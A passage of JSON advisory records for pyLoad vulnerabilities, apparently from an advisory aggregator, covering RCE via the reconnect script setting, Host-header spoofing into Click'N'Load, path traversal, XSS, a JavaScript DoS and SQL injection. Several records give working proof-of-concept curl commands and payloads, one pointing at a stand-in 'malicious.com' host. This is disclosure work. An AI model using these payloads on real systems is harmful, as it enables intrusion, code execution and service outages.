downloads","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-27T18:00:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-m74m-f7cr-432x","https://github.com/pyload/pyload/commit/b76b6d4ee5e32d2118d26afdee1d0a9e57d4bfe8","https://nvd.nist.gov/vuln/detail/CVE-2026-33992","https://github.com/advisories/GHSA-m74m-f7cr-432x"],"source_kind":"github","identifiers":["GHSA-m74m-f7cr-432x","CVE-2026-33992"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-27T19:00:08.582Z","updated_at":"2026-09-19T09:04:28.727Z","epss_percentage":0.00397,"epss_percentile":0.33522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNzRtLWY3Y3ItNDMyeM4ABUYg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNzRtLWY3Y3ItNDMyeM4ABUYg","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNzRtLWY3Y3ItNDMyeM4ABUYg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yN21jLXg2eDctY3F4eM4ABT8G","url":"https://github.com/advisories/GHSA-r7mc-x6x7-cqxx","title":"pyLoad SETTINGS Permission Users Can Achieve Remote Code Execution via Unrestricted Reconnect Script Configuration","description":"## Summary\n\nThe `set_config_value()` API endpoint allows users with the non-admin `SETTINGS` permission to modify any configuration option without restriction. The `reconnect.script` config option controls a file path that is passed directly to `subprocess.run()` in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in `set_config_value()` is a hardcoded check for `general.storage_folder` — all other security-critical settings including `reconnect.script` are writable without any allowlist or path restriction.\n\n## Details\n\nThe vulnerability chain spans two components:\n\n**1. Unrestricted config write — `src/pyload/core/api/__init__.py:210-243`**\n\n```python\n@permission(Perms.SETTINGS)\n@post\ndef set_config_value(self, category: str, option: str, value: Any, section: str = \"core\") -\u003e None:\n    self.pyload.addon_manager.dispatch_event(\n        \"config_changed\", category, option, value, section\n    )\n    if section == \"core\":\n        if category == \"general\" and option == \"storage_folder\":\n            # Forbid setting the download folder inside dangerous locations\n            # ... validation only for storage_folder ...\n            return\n\n        self.pyload.config.set(category, option, value)  # No validation for any other option\n```\n\nThe `Perms.SETTINGS` permission (value 128) is a non-admin permission flag. The only hardcoded validation is for `general.storage_folder`. The `reconnect.script` option is written directly to config with no path validation, allowlist, or sanitization.\n\n**2. Arbitrary script execution — `src/pyload/core/managers/thread_manager.py:157-199`**\n\n```python\ndef try_reconnect(self):\n    if not (\n        self.pyload.config.get(\"reconnect\", \"enabled\")\n        and self.pyload.api.is_time_reconnect()\n    ):\n        return False\n\n    # ... checks if active downloads want reconnect ...\n\n    reconnect_script = self.pyload.config.get(\"reconnect\", \"script\")\n    if not os.path.isfile(reconnect_script):\n        self.pyload.config.set(\"reconnect\", \"enabled\", False)\n        self.pyload.log.warning(self._(\"Reconnect script not found!\"))\n        return\n\n    # ... reconnect logic ...\n\n    try:\n        subprocess.run(reconnect_script)  # Executes attacker-controlled path\n    except Exception:\n        # ...\n```\n\nThe `reconnect_script` value comes directly from config. The only check is `os.path.isfile()` — the file must exist but there is no allowlist, no path restriction, and no signature verification.\n\n**3. Attacker also controls timing via same SETTINGS permission**\n\nThe attacker can set `reconnect.enabled=True`, `reconnect.start_time`, and `reconnect.end_time` through the same `set_config_value()` endpoint to control when execution occurs. `toggle_reconnect()` at line 321 requires only `Perms.STATUS` — an even lower privilege.\n\n**4. Additional privilege escalation via config access**\n\nBeyond RCE, the same unrestricted config write allows SETTINGS users to:\n- Read proxy credentials (`proxy.username`/`proxy.password`) in plaintext via `get_config()`\n- Redirect syslog to an attacker-controlled server (`log.syslog_host`/`log.syslog_port`)\n- Disable SSL (`webui.use_ssl=False`), rebind to `0.0.0.0` (`webui.host`)\n- Modify SSL certificate/key paths to enable MITM\n\n## PoC\n\n**Step 1: Set reconnect script to an attacker-controlled executable**\n\nVia API:\n```bash\n# Authenticate and get session (as user with SETTINGS permission)\ncurl -c cookies.txt -X POST 'http://target:8000/api/login' \\\n  -d 'username=settingsuser\u0026password=pass123'\n\n# Set reconnect script to a known executable on the system\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=script\u0026value=/tmp/exploit.sh\u0026section=core'\n```\n\nVia Web UI:\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \\\n  -d 'reconnect|script=/tmp/exploit.sh\u0026reconnect|enabled=True'\n```\n\n**Step 2: Enable reconnect and set timing window**\n\n```bash\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=enabled\u0026value=True\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=start_time\u0026value=00:00\u0026section=core'\n\ncurl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \\\n  -d 'category=reconnect\u0026option=end_time\u0026value=23:59\u0026section=core'\n```\n\n**Step 3: Script executes when thread manager calls `try_reconnect()`**\n\nThe thread manager's `run()` method (called repeatedly by the core loop) invokes `try_reconnect()`, which calls `subprocess.run(reconnect_script)` at `thread_manager.py:199`.\n\n**Note on exploitation constraints:** The file at the target path must exist (`os.path.isfile()` check) and be executable. With `shell=False` (subprocess.run default), no arguments are passed. If the attacker also has `ADD` permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.\n\n## Impact\n\n- **Remote Code Execution**: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user\n- **Privilege escalation**: The SETTINGS permission is described as \"can access settings\" — granting it is not expected to grant arbitrary code execution capability\n- **Credential exposure**: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via `get_config()`\n- **Network reconfiguration**: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings\n\n## Recommended Fix\n\nAdd an allowlist or category-level restriction in `set_config_value()` that prevents non-admin users from modifying security-critical options:\n\n```python\n# In set_config_value(), after the storage_folder check:\nADMIN_ONLY_OPTIONS = {\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"use_ssl\"),\n    (\"webui\", \"ssl_cert\"),\n    (\"webui\", \"ssl_key\"),\n    (\"log\", \"syslog_host\"),\n    (\"log\", \"syslog_port\"),\n    (\"proxy\", \"username\"),\n    (\"proxy\", \"password\"),\n}\n\nif section == \"core\" and (category, option) in ADMIN_ONLY_OPTIONS:\n    # Require ADMIN role for security-critical settings\n    if not self.pyload.api.user_data.get(\"role\") == Role.ADMIN:\n        raise PermissionError(f\"Admin role required to modify {category}.{option}\")\n```\n\nAdditionally, consider validating the `reconnect.script` path against an allowlist of directories or requiring admin approval for script path changes.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-20T21:50:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx","https://github.com/pyload/pyload/commit/f5e284fcdfeaf08436bb03e5fcf697aaac659d8b","https://nvd.nist.gov/vuln/detail/CVE-2026-33509","https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"],"source_kind":"github","identifiers":["GHSA-r7mc-x6x7-cqxx","CVE-2026-33509"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-20T22:00:10.835Z","updated_at":"2026-09-19T09:04:36.394Z","epss_percentage":0.00529,"epss_percentile":0.43527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN21jLXg2eDctY3F4eM4ABT8G","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yN21jLXg2eDctY3F4eM4ABT8G","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 0.4.0, \u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN21jLXg2eDctY3F4eM4ABT8G/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNDg1LWNnOXEteHEycs4ABT3g","url":"https://github.com/advisories/GHSA-q485-cg9q-xq2r","title":"Improper Authentication and Origin Validation Error in pyload-ng","description":"### Summary\n\nA Host Header Spoofing vulnerability in the `@local_check` decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).\n\n### Details\n\nThe `pyload` WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to `localhost:9666`). To enforce this, the `pyload` application uses a `@local_check` decorator on the relevant routes in `src/pyload/webui/app/blueprints/cnl_blueprint.py`.\n\nHowever, the `@local_check` implementation relies on the user-controlled `HTTP_HOST` (derived from the HTTP `Host` header) to verify the origin:\n\n```python\n# src/pyload/webui/app/blueprints/cnl_blueprint.py\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n                \"127.0.0.1:9666\",\n                \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n    return wrapper\n```\n\nBecause `http_host` is read directly from the `Host` header of the HTTP request, an external attacker can easily spoof this header (e.g., `Host: 127.0.0.1:9666`). When this spoofed header is present, the condition `http_host in (\"127.0.0.1:9666\", ...)` evaluates to `True`, completely bypassing the IP address check (`remote_addr`) and granting access to the protected functions.\n\nThe affected routes are:\n\n- `/flash/` and `/flash/\u003cid\u003e`\n- `/flash/add`\n- `/flash/addcrypted`\n- `/flash/addcrypted2`\n- `/flashgot` and `/flashgot_pyload`\n- `/flash/checkSupportForUrl`\n\n### PoC\n\n1. Ensure the PyLoad instance is running and accessible externally.\n2. Ensure the `ClickNLoad` plugin is enabled in the PyLoad settings (it evaluates to disabled by default).\n3. Send a POST request to one of the protected endpoints, such as `/flash/add`, and spoof the `Host` header to `127.0.0.1:9666`.\n\nExample `curl` command:\n\n```bash\ncurl -i -X POST \"http://\u003cpyload-external-ip\u003e:\u003cport\u003e/flash/add\" \\\n     -H \"Host: 127.0.0.1:9666\" \\\n     -d \"urls=http://malicious.com/payload.bin\" \\\n     -d \"package=MaliciousPackage\"\n```\n\n4. Notice that you receive a `success\\r\\n` response instead of a `403 Forbidden`. The package and URL will be successfully added to the PyLoad queue.\n\n### Impact\n\nThis vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-19T17:55:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-q485-cg9q-xq2r","https://nvd.nist.gov/vuln/detail/CVE-2026-33314","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-122.yaml","https://github.com/advisories/GHSA-q485-cg9q-xq2r"],"source_kind":"github","identifiers":["GHSA-q485-cg9q-xq2r","CVE-2026-33314"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T18:00:09.434Z","updated_at":"2026-07-12T11:02:12.897Z","epss_percentage":0.00183,"epss_percentile":0.0799,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNDg1LWNnOXEteHEycs4ABT3g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNDg1LWNnOXEteHEycs4ABT3g","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev97","vulnerable_version_range":"\u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNDg1LWNnOXEteHEycs4ABT3g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cHg5LWo0cXIteGZqd84ABTJc","url":"https://github.com/advisories/GHSA-6px9-j4qr-xfjw","title":"pyLoad has an Arbitrary File Write via Path Traversal in edit_package()","description":"The edit_package() function implements insufficient sanitization for the pack_folder parameter. The current protection relies on a single-pass string replacement of \"../\", which can be bypassed using crafted recursive traversal sequences.\n\nExploitation\n\nAn authenticated user with MODIFY permission can bypass the sanitization by submitting a payload such as:\n`pack_folder=..././..././..././tmp`\n\nAfter the single-pass replacement, this becomes:\n`../../../tmp`\n\nBecause the traversal sequences are not properly validated, the resulting normalized path escapes the intended storage directory and writes files to /tmp or other locations.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-05T00:32:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/pyload/pyload/security/advisories/GHSA-6px9-j4qr-xfjw","https://nvd.nist.gov/vuln/detail/CVE-2026-29778","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-121.yaml","https://github.com/advisories/GHSA-6px9-j4qr-xfjw"],"source_kind":"github","identifiers":["GHSA-6px9-j4qr-xfjw","CVE-2026-29778"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T01:00:10.678Z","updated_at":"2026-09-19T09:02:45.703Z","epss_percentage":0.00517,"epss_percentile":0.42546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cHg5LWo0cXIteGZqd84ABTJc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cHg5LWo0cXIteGZqd84ABTJc","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev97","vulnerable_version_range":"\u003e= 0.5.0b3.dev13, \u003c= 0.5.0b3.dev96"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cHg5LWo0cXIteGZqd84ABTJc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jampmLTI3Y2MtcHZtds4ABNKC","url":"https://github.com/advisories/GHSA-cjjf-27cc-pvmv","title":"pyLoad CNL and captcha handlers allow Code Injection via unsanitized parameters","description":"### Summary\npyLoad web interface contained insufficient input validation in both the Captcha script endpoint and the Click'N'Load (CNL) Blueprint. This flaw allowed untrusted user input to be processed unsafely, which could be exploited by an attacker to inject arbitrary content into the web UI or manipulate request handling. The vulnerability could lead to client-side code execution (XSS) or other unintended behaviors when a malicious payload is submitted.\n\nuser-supplied parameters from HTTP requests were not adequately validated or sanitized before being passed into the application logic and response generation. This allowed crafted input to alter the expected execution flow.\n CNL (Click'N'Load) blueprint exposed unsafe handling of untrusted parameters in HTTP requests. The application did not consistently enforce input validation or encoding, making it possible for an attacker to craft malicious requests.\n\n### PoC\n\n1. Run a vulnerable version of pyLoad prior to commit [`f9d27f2`](https://github.com/pyload/pyload/pull/4624).\n2. Start the web UI and access the Captcha or CNL endpoints.\n3. Submit a crafted request containing malicious JavaScript payloads in unvalidated parameters (`/flash/addcrypted2?jk=function(){alert(1)}\u0026crypted=12345`).\n4. Observe that the payload is reflected and executed in the client’s browser, demonstrating cross-site scripting (XSS).\n\nExample request:\n\n```http\nGET /flash/addcrypted2?jk=function(){alert(1)}\u0026crypted=12345 HTTP/1.1\nHost: 127.0.0.1:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n```\n\n### Refferences\n- https://github.com/pyload/pyload/commit/5823327d0b797161c7195a1f660266d30a69f0ca\n- [`@4624`](https://github.com/pyload/pyload/pull/4624)\n\n### Impact\n\nExploiting this vulnerability allows an attacker to inject and execute arbitrary JavaScript within the browser session of a user accessing the pyLoad Web UI. In practice, this means an attacker could impersonate an administrator, steal authentication cookies or tokens, and perform unauthorized actions on behalf of the victim. Because the affected endpoints are part of the core interface, a successful attack undermines the trust and security of the entire application, potentially leading to a full compromise of the management interface and the data it controls. The impact is particularly severe in cases where the Web UI is exposed over a network without additional access restrictions, as it enables remote attackers to directly target users with crafted links or requests that trigger the vulnerability.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-10-09T15:19:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-cjjf-27cc-pvmv","https://github.com/pyload/pyload/pull/4624","https://github.com/pyload/pyload/commit/5823327d0b797161c7195a1f660266d30a69f0ca","https://nvd.nist.gov/vuln/detail/CVE-2025-61773","https://github.com/advisories/GHSA-cjjf-27cc-pvmv"],"source_kind":"github","identifiers":["GHSA-cjjf-27cc-pvmv","CVE-2025-61773"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-10-09T16:00:42.131Z","updated_at":"2026-09-21T20:05:33.794Z","epss_percentage":0.00415,"epss_percentile":0.35514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jampmLTI3Y2MtcHZtds4ABNKC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jampmLTI3Y2MtcHZtds4ABNKC","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev91","vulnerable_version_range":"\u003c 0.5.0b3.dev91"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jampmLTI3Y2MtcHZtds4ABNKC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Z2pqLTZnajctYzR3as4ABLUk","url":"https://github.com/advisories/GHSA-9gjj-6gj7-c4wj","title":"Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs","description":"Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info \u003c (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start \u003c 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n\u003cimg width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" /\u003e\n\nweb-ui unresponsive\n\u003cimg width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" /\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-21T20:11:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj","https://nvd.nist.gov/vuln/detail/CVE-2025-57751","https://github.com/advisories/GHSA-9gjj-6gj7-c4wj"],"source_kind":"github","identifiers":["GHSA-9gjj-6gj7-c4wj","CVE-2025-57751"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-08-21T21:08:53.972Z","updated_at":"2026-09-21T20:05:53.970Z","epss_percentage":0.00325,"epss_percentile":0.25577,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2pqLTZnajctYzR3as4ABLUk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Z2pqLTZnajctYzR3as4ABLUk","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev92","vulnerable_version_range":"\u003c 0.5.0b3.dev92"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Z2pqLTZnajctYzR3as4ABLUk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wd2g0LTZyM20tajJyZs4ABK7c","url":"https://github.com/advisories/GHSA-pwh4-6r3m-j2rf","title":"PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter","description":"### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n    def update_link_info(self, data):\n        \"\"\"\n        data is list of tuples (name, size, status, url)\n        \"\"\"\n        self.c.executemany(\n            \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n            data,\n        )\n        ids = []\n        statuses = \"','\".join(x[3] for x in data)\n        self.c.execute(f\"SELECT id FROM links WHERE url IN ('{statuses}')\")\n        for r in self.c:\n            ids.append(int(r[0]))\n        return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability 